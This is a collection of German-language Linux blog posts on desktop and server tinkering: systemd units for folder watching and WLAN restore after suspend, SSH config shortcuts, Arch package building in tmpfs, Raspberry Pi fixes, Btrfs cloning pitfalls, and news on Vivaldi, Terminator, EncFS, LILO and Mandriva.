Ausgehend vom aktuellen Snapshot findet man unter /opt/vivaldi-snapshot/resources/vivaldi/ die Datei defaultSettings-bundle.js. Diese öffnet man mit einem Editor seiner Wahl. In dieser findet man Einträge wie z. B.

COMMAND_CLOSE_TAB:{shortcut:["ctrl+w","ctrl+f4"],gestures:["20"]

Wichtig ist hier der Teil gestures:["2"]. Die Zahl(en) definieren hier die Mausgesten. 2 entspricht nach unten, 4 nach links, 0 nach rechts und 6 nach oben. Tauscht man nun die bestehende Nummer gegen die gewünschte aus, kann man die Mausgesten nach seinem Geschmack anpassen. Die Nummern kann man auch miteinander kombinieren. In obigen Beispiel für das Schließen eines Tabs ist also nach unten und dann nach rechts definiert.

Bei diesem Vorgehen sollte man allerdings beachten, dass die Datei voraussichtlich beim nächsten Update wieder überschrieben wird und man die Datei somit erneut anpassen muss. Wem das zu Umständlich ist, sollte abwarten bis die Mausgesten offiziell anpassbar sind. Dies ist nach meiner Kenntnis seitens der Entwickler auch geplant.

Gefunden hat diese Lösung übrigens der Nutzer shoust vom Vivaldi-Forum. Ich habe das ganze nur etwas ausführlicher und in deutscher Sprache wiedergegeben.


Terminator 0.98 veröffentlicht

Wie schon in dem einen oder anderen Artikel geschrieben, nutze ich den Terminal Emulator Terminator. Da seit über zwei Jahren keine neue Version veröffentlicht wurde, habe ich mir schon vor ein paar Wochen überlegt ob das Projekt nicht eingestellt wurde. Vor zwei Tagen hat aber Version 0.98 das Licht der Welt erblickt und der Entwickler hat auf Reddit auch die Aussage getroffen, dass er Terminator weiter entwickeln wird. Alles in allem also sehr gute Nachrichten. Zumindest für Leute die etwas mit Terminator anfangen können.

Das Changelog ist recht umfangreich, so dass ich es hier nicht zitieren werde. Zu finden ist es unter https://launchpad.net/terminator/trunk/0.98/+index#.


Verzeichnis mit systemd überwachen

Heute bekam ich folgende Anfrage (hier abgewandelt, da der genaue Vorgang intern bleiben soll). Wenn in einem Verzeichnis eine Avi-Datei gespeichert wird soll diese automatisch in eine Mkv-Datei (libtheora und libvorbis) umgewandelt und verschoben werden.

Als erstes habe ich unter /home/video/ das Verzeichnis videos und Verzeichnis videos2 erstellt. Als nächstes habe ich im gleichen Homeverzeichnis folgendes Shellscript erstellt:

#!/bin/bash
cd /home/video/videos/ 
for i in *.avi; do 
    ffmpeg -i "$i" -vcodec libtheora -acodec libvorbis "${i%.*}.mkv" 
done
mv *.mkv /home/video/videos2/
rm *.avi 

Das Shellscript wechselt erst in das eben erstellte Verzeichnis videos. Dort sucht es nach vorhandenen Dateien mit der Endung .avi und wandelt diese in eine Mkv-Datei mit libtheora und Libvorbis um. Danach werden die Mkv-Dateien in das Verzeichnis videos2 verschoben und die vorhandenen Avi-Datei gelöscht.

Als nächstes habe ich mir Root-Rechte verschafft und mit diesen unter /etc/systemd/system die Datei convert.service mit folgendem Inhalt angelegt.

[Unit]
Description=Videos in ~/home/video/video automatisch konvertieren

[Service]
Type=oneshot
ExecStart=/home/video/convert.sh 

Hier wird im Grunde genommen nur angegeben, dass das eben erstellte Shellscript convert.sh ausgeführt wird.

Im gleichen Verzeichnis habe ich nun noch die Datei convert.path angelegt und mit folgendem Inhalt befüllt.

[Unit]
Description=Startet convert.service wenn eine Datei in /home/video/video$ 

[Path]
PathModified=/home/video/videos/ 

[Install]
WantedBy=multi-user.target 

Hier ist der Abschnitt Path der wichtige Teil. Sobald im Verzeichnis /home/video/videos etwas geändert wird (wie eben dass dort eine Avi-Datei abgespeichert wird) wird das in der Service-Datei genannte Shellscript ausgeführt. Anstelle von PathModified gibt es noch PathExists=, PathExistsGlob=, PathChanged=, und DirectoryNotEmpty=. Diese werden unter man systemd.path oder hier online genauer erklärt.

Nun habe ich mittels systemctl start convert.path das ganze einmalig gestartet. Das es nach einem Testlauf kein Probleme gegeben hat, habe ich diese Automatisierung mittels systemctl enable convert.path scharf geschaltet so dass der Spaß auch einen Neustart des Systems überlebt.


Entwicklung des Bootloaders LILO wird beendet

Auf der offiziellen Seite LILO des Bootloaders LILO wurde angekündigt, dass die Entwicklung wohl Ende 2015 beendet wird.

Die derzeit letzte Version wurde Mitte Oktober 2014 veröffentlicht. Dieser Version fehlen einige Sachen wie Unterstützung von Raid, GPT oder Btrfs. Dies ist auch der Grund, wieso der Entwickler Joachim Wiedorn jetzt einen Schlussstrich unter der Projekt setzen will. Sollte jemand Interesse haben, LILO weiterentwickeln zu wollen, kann er sich beim derzeitigen Entwickler melden.

LILO habe ich selbst nur in meiner Anfangszeit genutzt. Irgendwann bin ich dann zu Grub gewechselt. Grub 2, mit dessen Konfigurationsdatei (vor allem der automatisch erstellten) ich einfach nicht warm werde, habe ich mir erspart und bin stattdessen vor längerem auf syslinux umgestiegen.


Vivaldi auf dem Weg zur Nutzbarkeit

Ich habe hier schon den einen oder anderen Artikel zum Browser Vivaldi geschrieben, welcher sehr gute Chancen hat, Opera (bis Version 12.x) zu ersetzen. Vor kurzem wurde wieder ein Snapshot veröffentlicht der wieder einen Schritt in die richtige Richtung geht. Schön wenn Entwickler mal auf die Nutzer hören.

Manche Erweiterungen lassen im Browser Icons anzeigen über die man die man diese einstellen kann. Mit der Anzeige dieser Icons hatte Vivaldi bisher seine Probleme, so dass nichts angezeigt wurde. Diese Funktion haben die Entwickler von Vivaldi nun nachgerüstet. Ab sofort bekommt man diese rechts neben der Adressleiste angezeigt (der gelbe Bereich auf den Screenshot wurde von mir zur Hervorhebung gemacht).

Vivaldi_Icons

So langsam hat der Browser alle Funktionen die ich brauche. Selbst nicht anklickbare Textlinks kann man inzwischen bequem markieren und über das Kontextmenü der Maus öffnen. Das schaffen ja schon einige andere Browser von Haus aus nicht. Wenn jetzt noch die Mausgesten durch den Nutzer anpassbar und erweiterbar gemacht werden, bin ich happy.

Man sollte aber derzeit immer noch bedenken, dass es sich immer noch um eine unfertige Version handelt. Vivaldi ist offiziell noch nicht mal im Betastadium. Bugs sind daher nicht ausgeschlossen. Aber für die kurze Zeit die es Vivaldi gibt, haben die Entwickler echt eine gute Leistung gebracht. Hut ab. Der Snapshot kann übrigens, wie immer, im offiziellen Entwickler-Blog heruntergeladen werden.


Temperatur des Raspberry Pi auslesen

Bei den aktuellen Temperaturen wollte ich mal wissen, wie sich hier mein Raspberry Pi schlägt, da dieser in einem nicht gerade kühlen Raum läuft. Dies kann man mit Boardmitteln auslesen und muss kein extra Paket installieren.

Unter /opt/vc/bin findet man den Befehl vcgencmd. Ruft man diesen mittels vcgencmd measure_temp auf, bekommt man die Temperatur des SoC angezeigt. Bei mir liegt diese aktuell bei 44,4 Grad Celsius. Für den Raspberry Pi ist das absolut in Ordnung. Erst ab 80 Grad Celsius wird es kritisch. Bei 85 zieht der Raspberry Pi automatisch die Notbremse und setzt den Takt herunter.


ncdu - du (Disk Usage) mit ncurses

Der Befehl du ist vermutlich vielen Nutzern von Linux ein Begriff. Damit lässt sich die Speicherbelegung eines Verzeichnis anzeigen.

ncdu1

Alternativ dazu kann man auch ncdu nutzen. Hiermit werden nicht alle Unterverzeichnisse auf einen Schlag angezeigt sondern nur die oberste Ebene. Mittels den Pfeil- und noch ein paar anderen Tasten kann man dann in den Unterverzeichnissen "browsen".

ncdu2


Die Mitarbeiter sind schuld an der Pleite von Mandriva

Jetzt ist es amtlich. Jean-Manuel Croset, seines Zeichens letzter Geschäftsführer des Unternehmens Mandriva, hat sich zu den Hintergründen zur endgültigen Pleite geäußert. Die Mitarbeiter sind, wie sollte es anders sein, der Grund.

Einige der 2013 aufgrund der schwierigen wirtschaftlichen Lage des Unternehmens entlassenen Mitarbeiter haben es gewagt nicht nur das Unternehmen Mandriva zu verklagen, nein sie haben vom Arbeitsgericht auch noch Recht bekommen. Was für eine Sauerei...

Durch den erlassenen Strafbefehl musste Mandriva sofort einige hunderttausend Euro zahlen. Einsprüche und Anträge auf Aufschub der Auszahlungen hat das Gericht wohl abgelehnt. Das hat dem Unternehmen, welches 2013 550000 Euro Einnahmen hatte, die 2014 um 40 Prozent gesteigert werden konnten (bei gleichzeitiger Minderung der Kosten um 40 Prozent), wohl das Genick gebrochen.


Arch AUR nutzt ab Version 4.0 eine auf Git basierende Plattform

Gestern wurde auf der Mailing-List "arch-general" verkündet, dass ab dem 8. Juni 2015 der Umzug von AUR auf eine Plattform die auf Git basiert der Umzug startet. Wer seine Pakete weiterhin betreuen will, muss diese auf der neuen Plattform bis spätestens 07. Juli 2015 unter aur4.archlinux.org einreichen. So lange werden die Pakete für die ursprünglichen Betreuer reserviert. Ab dem 8. Juli kann man unter der genannten Adresse dann die Pakete einreichen die reserviert waren aber der jeweilige Betreuer nichts gemacht hat. Am 8. August wird dann aur4.archlinux.org offiziell aur.archlinux.org ab. Änderungen an den Paketen die zwischen dem 8. Juli und dem 8. August erfolgen müssen unter aur4.archlinux.org eingereicht werden.

Eine kurze Anleitung zum Einreichen auf der neuen Plattform findet man im Wiki. Wer Probleme mit der neuen Platform hat, kann diese im Bugtracker melden.


Mandriva ist nun endgültig am Ende

Jahrelang habe ich als Distribution Mandrake und dann Mandriva als Distribution eingesetzt. Für mich war die Distribution immer die "out of the box" Distribution, die es technisch locker mit Ubuntu aufnehmen hätte können. Leider hat sie immer nur ein Nischendasein gefristet. In den Jahren in denen ich mit Mandrake bzw. Mandriva unterwegs war, hatte das dahinter stehende Unternehmen schon einige Male finanzielle Probleme, konnte sich aber immer wieder aufraffen. Jetzt hat es das Unternehmen wohl endgültig erwischt.

Laut http://lwn.net/Articles/645862/ ist eine Liquidation erfolgt. Die offizielle Seite ist ebenfalls nicht mehr erreichbar. Auch wenn Mandriva (das Unternehmen) in der Vergangenheit meiner Meinung nach einiges falsch gemacht hat, verdanke ich ihm doch mit der Distribtion Mandrake bzw. Mandriva meinen ersten richtigen Einstieg in Linux. Von daher schade darum. Hoffentlich kommen die Anstellten bei anderen Unternehmen unter.


KDE Plasma und Claws-Mail stürzen beim Herunterfahren oder bei einem Neustart ab

Ausgangssituation ist folgende. Auf einem Rechner läuft Arch Linux mit KDE Plasma. Updates sind zum aktuellen Stand komplett eingespielt. Egal ob der Rechner herunter gefahren oder neu gestartet wird, es stürzt die Plasmashell sowie das durchgehend laufende Programm Claws-Mail mit einem Signal 11 ab. Nachdem man einige Fenster mit den Absturzmeldungen weg geklickt hat, startet der Rechner dann aber wie beabsichtigt neu oder fährt komplett herunter. Besonders wohl ist mir dabei aber nicht wegen Claws-Mail.

Nach einigem hin und her habe ich gestern die Lösung gefunden. Der verdammte Layer 8 war mal wieder das Problem... Vor einiger Zeit gab es eine Änderung mit der der Microcode eines Intel-Prozessors nicht mehr automatisch aktualisiert wird und somit ein Eingreifen des Nutzers nötig ist. Vor einigen Wochen hatte ich mir die Datei /boot/syslinux/syslinux.conf verbastelt, so dass ich die vorhandene gelöscht und eine neue erstellt habe. Dabei habe ich natürlich nicht den Eintrag für das Update des Microcodes eingebaut... Nachdem ich das jetzt nachgeholt habe, funktioniert alles wieder wie es soll. Warum das ganze aber erst nach Wochen Probleme gemacht hat, kann ich nicht wirklich sagen. Scheinbar gab es ein Update, dass mit einer alten Version Probleme hat.


EXT4-fs (mmcblk0p2): couldn't mount as ext3 due to feature incompatibilities

In der Logdatei meines Raspberry Pi tauchen nach jedem Start die Fehlermeldungen "EXT4-fs (mmcblk0p2): couldn't mount as ext3 due to feature incompatibilities" und "EXT4-fs (mmcblk0p2): couldn't mount as ext2 due to feature incompatibilities" auf. Es funktioniert zwar alles aber es nervt. Vor allem weil mmcblk0p2 in dem Fall ext4 und nicht ext3 oder ext2 nutzt. Aber die Lösung ist recht einfach.

Einfach die Datei /boot/cmdline.txt öffnen und rootfstype=ext4 hinzufügen und abspeichern. Nach einem Neustart ist die Fehlermeldung verschwunden. Nebenwirkungen konnte ich auch noch keine feststellen.


Alias für Services unter systemd

Manche Services unter systemd haben ziemlich umständliche Bezeichnungen. Systemd-networkd.service oder openvpn@vpn.service zum Beispiel. Um es sich beim Aktivieren, Deaktivieren oder Neustarten etwas einfacher zu machen, kann man hier zu einem Alias greifen. Nehmen wir mal openvpn@vpn.service als Beispiel.

Hier öffnet man einfach die Datei openvpn@vpn.service welche unter /etc/systemd/systemd/multi-user.target.wants/ liegt. Diese sollte wie folgt aussehen.

[Unit]
Description=OpenVPN connection to %i 

[Service]
Type=forking 
ExecStart=/usr/bin/openvpn --cd /etc/openvpn --config /etc/openvpn/%i.conf --da$ 
PIDFile=/run/openvpn@%i.pid 

[Install]
WantedBy=multi-user.target

Soll der Service auf den Alias vpn1 reagieren, muss man einfach unter [Install] Alias=vpn1.service hinzufügen. Wichtig ist hier, dass der Alias die gleiche Endung hat wie das Original. Also in dem Fall .service. Hier kann man auch mehrere Aliase angeben, welche man in die gleiche Zeile mit einem Lehrschritt getrennt eingibt.

Hat man die Datei nun entsprechend geändert und abgespeichert aktiviert man den Service mittels systemctl enable openvpn@vpn.service. Hiermit wird nun ein Symlink vpn1.service angelegt, welcher auf openvpn@vpn.service verweist. Von nun an kann dieser "Service" anstelle des Originals genutzt werden. Also beispielsweise systemctl status vpn1.service.


SSH-Verbindungen leicht gemacht

Ich nutze regelmäßig SSH-Verbindungen zu diversen Rechnern. Im LAN z. B. zu meinem Receiver oder zu meinem Quake-3-Arena-Server. Da letzterer im Internet erreichbar ist, läuft SSH nicht auf dem Standardport sondern auf einen anderen um Scriptkiddies zu blocken und somit die Logdateien sauber zu halten. Somit muss ich jedes mal, wenn ich mich mit dem Rechner verbinden will ssh $Benutzer@$IP -p $Portnummer -i ~/.ssh/quake eingeben. Oder den Befehl aus der Historie von ZSH herausfischen. Das muss doch auch besser funktionieren, oder? Ja tut es.

Hierzu legt man, falls nicht schon vorhanden, als erstes die Datei ~/.ssh/config auf dem Rechner mit dem man sich mit dem Server verbinden will an. Nun erstellt man in dieser folgenden Eintrag.

Host quake
Hostname 192.168.1.220
Port 1234
User quake
IdentityFile /home/$Benutzer/.ssh/quake

In der ersten Zeile geben wir den Namen der Verbindung an. Hier kann man frei wählen. Als nächstes geben wir die IP des Rechners an zu dem wir uns verbinden möchten. Der Port muss angegeben werden, wenn wir einen, vom Standard abweichenden, Port eingestellt haben. In der nächsten Zeile wird der Benutzer angegeben mit dem wir uns auf dem Rechner einloggen möchten. Sollte man anstelle von Passwörtern SSH-Keys nutzen und hat man mehrere unter ~/.ssh liegen gibt man am besten mit IdentityFile auch noch die richtige Schlüsseldatei an.

Nachdem man die Datei abgespeichert hat, braucht man nun nicht mehr ssh $Benutzer@$IP -p $Portnummer -i ~/.ssh/quake eingeben sondern es reicht ganz bequem ssh quake.


Howdoi - Wie zum Geier ging das jetzt noch gleich?

Wer nicht oft mit tar arbeitet, kennt das Problem vermutlich. Wie ging das Erstellen eines Archives jetzt noch gleich? Keine Ahnung... Also dann rufen wir eben mal man tar auf und ackern uns durch die Manpage. Alternativ dazu kann man jetzt das Tool howdoi fragen. Will man also wissen, wie man ein tar-Archiv erstellt gibt man folgendes ein.

howdoi create tar archive 

Und howdoi antworte darauf mit

tar -cf backup.tar --exclude "www/subf3" www 

Wirklich ausgereift ist das Tool aber scheinbar nicht. Auf die "Frage" howdoi copy files erhält man irgendwie nicht die richtige Ausgabe...

As toolkit mentions above, Apache Commons IO is the way to go, specifically FileUtils . copyFile() ;
it handles all the heavy lifting for you. And as a postscript, note that recent versions of
FileUtils (such as the 2.0.1 release) have added the use of NIO for copying files; NIO can
significantly increase file-copying performance , in a large part because the NIO routines
defer copying directly to the OS/filesystem rather than handle it by reading and writing 
bytes through the Java layer. So if you're looking for performance, it might be worth checking
that you are using a recent version of FileUtils.

Pakete unter Arch im Ram erstellen

Um das Bauen der Pakete unter Arch zu beschleunigen kann man die Paketverwaltung anweisen dies im Arbeitsspeicher zu tun.

Hierzu erstellt man in der /etc/fstab erst einmal folgenden Eintrag.

tmpfs    /scratch    tmpfs    nodev,size=4G    0 0

Anstelle von /scratch kann man jederzeit auch ein anderes Verzeichnis angeben in dem der Arbeitsspeicher gemountet wird. Size= kann man weglassen. Allerdings werden dann bis zu 50 Prozent des vorhandenen Arbeitsspeicher genutzt.

Nachdem wir die Datei abgespeichert haben, schalten wir den Eintrag mittels mount -a scharf. Nun muss noch die Datei /etc/makepkg.conf angepasst werden. In dieser suchen wir nach #BUILDDIR= und entfernen das # am Anfang der Zeile unter ändern alles nach dem = auf /scratch (bzw. das Verzeichnis das wir in der /etc/fstab angegeben haben, so dass BUILDDIR=/sratch dabei herauskommen sollte und speichern die Datei ab.

Pakete die nun aus den Sourcecode erstellt werden, z. B. aus AUR sollten nun um einiges schneller gebaut werden als z. B. auf der HDD.


Gesprächigkeit eines systemd-Service einstellen

Vor ca. zwei Wochen habe ich für ngb.to einen Quake-3-Arena-Server auf auf Basis von ioquake aufgesetzt. Als Distribution habe ich Arch Linux gewählt. Nachdem alles installiert war, wollte ich den Q3A-Server nach dem Booten und nach einem eventuelle Absturz neu starten lassen. Mittels eines systemd-Service kein Problem. Nur ist Q3A an sich eine Quasselstrippe und müllt die Logdateien gnadenlos zu. Vor allem wenn gezockt wird. Hier bin ich mir nicht sicher wie lange das mit der, im Raspberry Pi verbauten, Speicherkarte gut geht. Daher musste ein Weg her um Q3A zum Schweigen zu bringen.

Nach einer kurzen Suche in der Dokumentation von systemd wurde ich fündig. Hier hilft StandardOutput= weiter. Hierüber kann man die Standardausgabe eines Service definieren. Zur Auswahl stehen inherit, null, tty, journal, syslog, kmsg, journal+console, syslog+console, kmsg+console sowie socket. Da mich die Standardausgabe (X hast joined usw.) nun wirklich nicht interessiert, war ich gnadenlos und habe null gewählt. Somit werden die ganzen Ausgaben direkt gemülleimert und das Journal und somit auch die Speicherkarte werden geschont. Herausgekommen ist dann folgender Service.

[Unit]
Description=Startet ioquake3-Server

[Service]
User=q3a
ExecStart=/pfad/zum/Startscript/q3a.sh
StandardOutput=null
Restart=always

[Install]
WantedBy=multi-user.target

 Wenn man will kann man auch noch StandardError= für eventuell auftretende Fehler definieren. Hier gelten wieder oben genannte Möglichkeiten. Gibt man dies nicht direkt in der Service-Datei an, wird der Standard inherit verwendet.


Vivaldi - Opera 12 ist wieder da. Vielleicht.

Heute wurde die erste Vorabversion des Browsers Vivaldi veröffentlicht. Hinter Vivaldi steht unter anderem Jon von Tetzchner (Mitbegründer und langjähiger Chef von Opera) sowie einige ehemaligen Opera-Entwickler die im Zuge der Umstellung von Opera alt auf Opera neu nicht mehr benötigt wurden.

Der Browser will die Konzepte des alten Opera aufgreifen und weiterentwickeln und hier auch auf die Wünsche der Nutzer eingehen. In der Technical-Preview-Version gibt es noch Ecken und Kanten und viele Funktionen die Opera bis Version 12 ausgemacht haben, sind noch nicht vorhanden. Allerdings kann der Browser bereits jetzt über einen größeren Funktionsumfang (wenn auch noch nicht komplett) als so mancher neu erfundene Browser aufwarten...

- Mülleimer zum wiederherstellen von geschlossenen Tabs
- Lesezeichen - Downloadmanager
- Notizfunktion (Markdown wird unterstützt)
- Grundlegende Mausgesten
- Schnellwahl
- Screenshotfunktion
- Tastaturkürzel definierbar
- Schaltfäche zum Schließen einzelner Tabs
- Schaltfläche neben den offenen Tabs um einen leeren Tab zu erstellen
- Usw.

Andere Funktionen wie einen integrierten Mail-Client dessen Icon man bereits in der Technical-Preview-Version findet werden noch folgen. Erweiterungen sollen auch unterstützt werden, allerdings wollen die Entwickler diese so unnötig wie möglich halten. Also alles wichtige soll bereits von Haus aus im Browser enthalten sein.
Für eine eine Vorabversion bin ich bisher sehr zufrieden und kann ein gewisses "Opera-vor-Version-12-Feeling" nicht abstreiten. Ich hoffe inständig, dass die Entwickler ihr Vorhaben umsetzen können und somit endlich ein würdiger Nachfolger von Opera 12 das Licht der Welt erblickt und lange lebt.

Genutzt wird Blink als Rendering-Engine. Im Grunde ein logischer Schritt, da Presto ja nicht mehr weiterentwickelt wird und zudem auch nicht frei erhältlich ist. Einen Nachteil hat Vivaldi aber leider schon. So wie es aussieht ist der Browser, wie auch schon Opera, nicht Open Source Software.

Vivaldi

Die derzeitige Optik ist ebenfalls ziemlich gewöhnungsbedürftig. Hier sollte es aber schnell Abhilfe geben, da das aktuelle Theme über eine CSS-Datei definiert wird, was weitere Themes wohl nur unterstützten wird.

Kurz gesagt, wer Opera bis Version 12 genutzt hat, sollte sich einmal Vivaldi ansehen. Aber immer daran denken, dass es sich um eine Technical-Preview-Version handelt.

Der Browser ist für Windows, Linux und Mac OS erhältlich und kann unter https://vivaldi.com/ heruntergeladen werden. Unter https://vivaldi.net findet man die Community-Seite. Dort kann ein eigenes Blog erstellen und später auch die Mailfunktion nutzen. Ein Forum findet man dort ebenfalls. Kommt ehemaligen Opera-Nutzern vermutlich irgendwie bekannt vor.


EncFS 1.8 RC1 veröffentlicht

Wenn es um das Verschlüsseln von Daten bei Cloud-Anbietern wie Dropbox geht, habe ich ganz gerne EncFS genutzt, da der Zugriff nicht nur unter Linux sondern auch unter Windows möglich ist. Anfang 2014 hat sich Taylor Hornby die Mühe gemacht und hat EncFS auf Sicherheitslücken untersucht. Da die letzte offizielle Version von Ende 2011 war und sich seit dem auch einige Dinge in Sachen Sicherheit getan haben, hat er natürlich einige Probleme gefunden und dem Entwickler gemeldet. Dieser hat die Aussage getroffen, dass Version 2.0 in Entwicklung ist und dass die Behebung der Probleme dort mit einfließen wird. Und dann war Stille. Bis vor ein paar Tagen.

Am 06.01.15 wurde EncFS 1.8 RC1 veröffentlicht. Bei der Gelegenheit ist das Projekt auch zu Github umgezogen. Laut dem Entwickler bietet der neue RC folgende Highlights.

- improve automatic test converage: also test reverse mode (make test)
- add per-file IVs based on the inode number to reverse mode to improve security
- add automatic benchmark (make benchmark)
- compare MAC in constant time ( fixes bug #12 )
- add --nocache option
- lots of fixes to make building on OSX easier

Somit dürfen schon mal zwei Sicherheitsprobleme behoben sein. Ich hoffe, dass die Entwicklung von EncFS nun nicht wieder einschläft und man das Tool zukünftig wieder ohne ein ungutes Gefühl im Hinterkopf benutzten kann.


Kurztest TP-Link WN722NC WLAN-USB-Stick

Manchmal nervt mich WLAN. Manchmal könnte man denken, der Teufel hätte es erfunden. Zumindest wenn man zum einen Linux nutzt und zum anderen so ein saudummes Netbook hat, dessen Hersteller zum einen eine WLAN-Karte von Broadcom verbaut und zum anderen im Bios eine Whitelist einbaut (welche er natürlich nicht veröffentlicht), wegen der dann nur gewisse Netzwerkkarten verbaut werden können. Karten von Intel gehören scheinbar nicht dazu, sonst wäre das Thema schon lange erledigt. Da Intel scheinbar keine WLAN-Sticks herstellt, habe ich (wie bereits geschrieben) die WLAN-Karte deaktiviert und bin auf einen kleinen USB-Stick mit Realtek-Chipsatz umgestiegen, welcher mit dem Modul rtl8192cu unter Linux genutzt werden kann. Zumindest bis vor ein paar Tagen.

Urplötzlich hatte ich nach einem Update alle paar Minuten einen kompletten Absturz des Sticks. Keine Internetverbindung, kein Pingen des Routers. Nichts. Ein Neustart der Netzwerkverbindung hat das Problem beseitig, welches dann nach ein paar Minuten wieder aufgetreten ist. Laut diversen Treffern bei Google bin ich hier nicht alleine betroffen. Bei vielen hat ein Downgrade des Pakets linux-firmware geholfen. Bei mir natürlich nicht. Hätte mich auch gewundert.

Wie es der Zufall so will, habe ich für einen Bekannten zwei WLAN-Sticks (TP-Link WN722NC) bestellt welche er noch nicht abgeholt hat. Die Sticks laufen mit Atheros-Chipsätzen. Die hatte ich bisher am Netbook noch nicht... Also mal eben meinen Bekannten angerufen und grünen Licht erhalten und somit einen der Sticks ausgepackt. An Hardware wird der Stick an sich, eine Antenne (welche man an den Stick schrauben kann um die Leistung zu verstärken) sowie eine Docking-Station mitgeliefert.

k-IMG_20150103_191826 k-IMG_20150103_191746

Für ein Netbook ist der Stick ein ziemlicher Brocken (93,5mm*26mm*11mm). Vor allem wenn auch noch die Antenne angeschraubt ist. Beim Transport würde ich den Stick definitv entfernen.

Angesprochen wird der Stick unter Linux über das Modul ath9_htc. Bisher läuft der Stick hiermit stabil seit einigen Tagen und ist laut Router (OpenWRT) mit 120 Mbps angebunden. Wenn man sich so in diversen Wardriving-Foren umsieht, wird dort dieser Stick auch sehr oft empfohlen. Und das schon seit längerem. Da der Stick aktuell für etwas unter 8 Euro zu haben ist, kann ich hier aktuell nur eine Empfehlung aussprechen. Mal sehen ob bzw. wann ich das bereue. Das nächste Net- bzw. Notebook wird definitv eines mit einer WLAN-Karte von Intel bzw. eines ohne White- bzw. Blacklist. Oder eines für das man ein modifiziertes Bios erhält...


Achtung beim Klonen einer Btrfs-Partition

Da ich zu Weihnachten eine SSD bekommen habe, habe ich die Partitionen meiner Linux-HDD kurzerhand auf die SSD geklont. Da ich solchen Vorgängen nicht 100%ig vertraue wollte ich die normale Festplatte erst einmal ohne Änderungen im System belassen. Quasi als Backup. Nachdem ich im UEFI die Bootreihenfolge umgestellt hatte, konnte ich auch wunderbar von der SSD booten. Allerdings war das Ganze nicht schneller als per HDD und eine der HDD hatte dabei auch Schreib- bzw. Lesezugriffe.

Hmmm... der Groschen ist recht schnell gefallen. Ich mounte über die UUID der Partitionen. So kann ich eine SATA-Platte abklemmen und auf einen anderen SATA-Port anschließen und der Rechner bootet weiterhin, da sich die UUID nicht ändert. Auch beim Klonen nicht. Somit hatte ich auf der SSD als auch der HDD die gleichen UUID und die wurden beide gnadenlos gemountet. Zweimal /, zweimal /boot und zweimal /home. Das es dabei nichts zerrissen hat, war vermutlich Glück. Beim letzten Festplatten-Umzug habe ich mittels tune2fs /dev/sdXY -U urandom einfach neue UUID vergeben (anstelle von sdXY sollte man natürlich die Partitionen der alten Platte angeben). Wie schon angemerkt habe ich eigentlich drei Partitionen. Einmal /boot, einmal / und einmal /home. Boot habe ich, da dort nichts wichtiges liegt, kurzerhand von der alten Platte getilgt. Home (ext4) konnte ich mit genanntem Befehl eine neue UUID verpassen. Nur / hat sich standhaft geweigert. Dort setze ich Btrfs als Dateisystem ein. Tune2fs ist aber nur für ext2 bis ext4. Aber es gibt ja btrfstune. Hier gibt es allerdings keine Möglichkeit die UUID zu ändern. Herzlichen Glückwunsch, das ist bei Btrfs auch nicht vorgesehen. 

Wer also auf die Idee kommt, eine Btrfs-Partition zu klonen und beide Partition hinterher mounten zu wollen, sollte hier lieber dann bei einer der beiden Partitionen auf /dev/sdXY oder das Label der Partition zurückgreifen und nicht auf die UUID. Nur so als kleiner Hinweis am Rande.


WLAN-Verbindung nach Suspend tot

Mein Netbook ist, wie hier schon geschrieben, mit einem WLAN-USB-Stick von Edimax ausgerüstet. An sich läuft dieser auch sehr zufriedenstellend. Wäre da nur nicht ein Problem wenn ich den Rechner per Suspend schlafen schicke.

In der Datei /etc/systemd/logind.conf habe ich eingestellt, dass sobald der Deckel des Netbooks geschlossen wird der Rechner per Suspend to Ram schlafen geschickt wird. Das funktioniert auch soweit. Wecke ich den Rechner wieder auf funktioniert alles nur die WLAN-Verbindung mag nicht mehr. Hierbei ist mir aufgefallen, dass jedes mal wenn ich den Rechner ins Bett schicke die Anzeige am Stick ausgeht aber nach dem Aufwecken nicht wieder an.

Da ich systemd und für die Netzwerkverbindungen netctl nutze habe ich mir kurzerhand eine Service-Datei gebastelt mit der nach dem Aufwecken auch die WLAN-Verbindung automatisch wieder in einen funktionsfähigen Zustand versetzt wird.

[Unit]
Description=Verbindung mit netctl sichern und wiederherstellen
Before=sleep.target
StopWhenUnneeded=yes

[Service] Type=oneshot
RemainAfterExit=yes
ExecStart=/usr/bin/netctl store ; /usr/bin/netctl stop-all
ExecStop=/usr/bin/netctl restore 

[Install]
WantedBy=sleep.target

Im Grunde genommen ist das Ganze schnell erklärt. Bevor sleep.target (in dem Fall also Suspend) ausgeführt wird, werden die Befehle abgesetzt, die in der Zeile welche mit ExecStart beginnt stehen. Wenn der Rechner wieder aufgeweckt wird, wird dann noch das ausgeführt, was in der Zeile mit ExecStop eingetragen ist.

Mit netctl store wird abgespeichert, welche Profil gerade aktiv ist. Netctl stop-all stoppt alle Profile. Und netctl restore läd alle Profile wieder, die mit store als aktiv gespreichert wurden. Den Service habe ich dann unter /etc/systemd/system/netctl-restore.service abgespeichert und mittels systemctl enable netctl-restore.service scharf geschaltet. Versetze ich den Rechner nun in Tiefschlaf und wecke ich ihn wieder auf, steht innerhalb weniger Sekunden die WLAN-Verbindung wieder. Einen kleine Schönheitsfehler gibt es aber noch. Ich nutze aus diversen Gründen (wie z. B. wegen der Gema-Blockade bei Youtube) einen VPN-Dienst. Dieser spielt hierbei irgendwie nicht mit. Von daher habe ich die Service-Datei noch einmal bearbeitet und Zeile 10 wie folgt erweitert.

ExecStop=/usr/bin/netctl restore ; /usr/bin/systemctl restart openvpn@vpn.service

Somit wird erst das Profil mit netctl wieder aktviert und danach die OpenVPN-Verbindung neu gestartet.


Was wird über ein systemd-target gestartet?

Systemd bietet sogeannte Targets. Grob gesagt so etwas wie Runlevel wie man sie von sysVinit her kennt. Multi-user.target entspricht hier am ehesten Runlevel 3. Graphical.target Runlevel 5. Um sich eine Übersicht zu verschaffen welche Services zum Beispiel das Target multi-user.target ausführen möchte, kann man folgenden Befehl verwenden:

systemctl show -p "Wants" multi-user.target

Als Ergebnis erhält man dann beispielsweise folgende Ausgabe:

Wants=cronie.service openvpn@nvpn.service unbound.service remote-fs.target systemd-networkd.service
haveged.service updatedb.timer shadow.timer rpcbind.service logrotate.timer man-db.timer
systemd-logind.service systemd-user-sessions.service getty.target systemd-ask-password-wall.path
dbus.service

Anstelle von Wants kann auch WantedBy, Requires, RequiredBy, Conflicts, ConflictedBy, Before, After genutzt werden. Eine genauere Erklärung der sogenannten Section Options findet man hier. Daher gehe ich hier nicht näher darauf ein.


Warum ich mich mit aktuellen Browsern nicht anfreunden kann

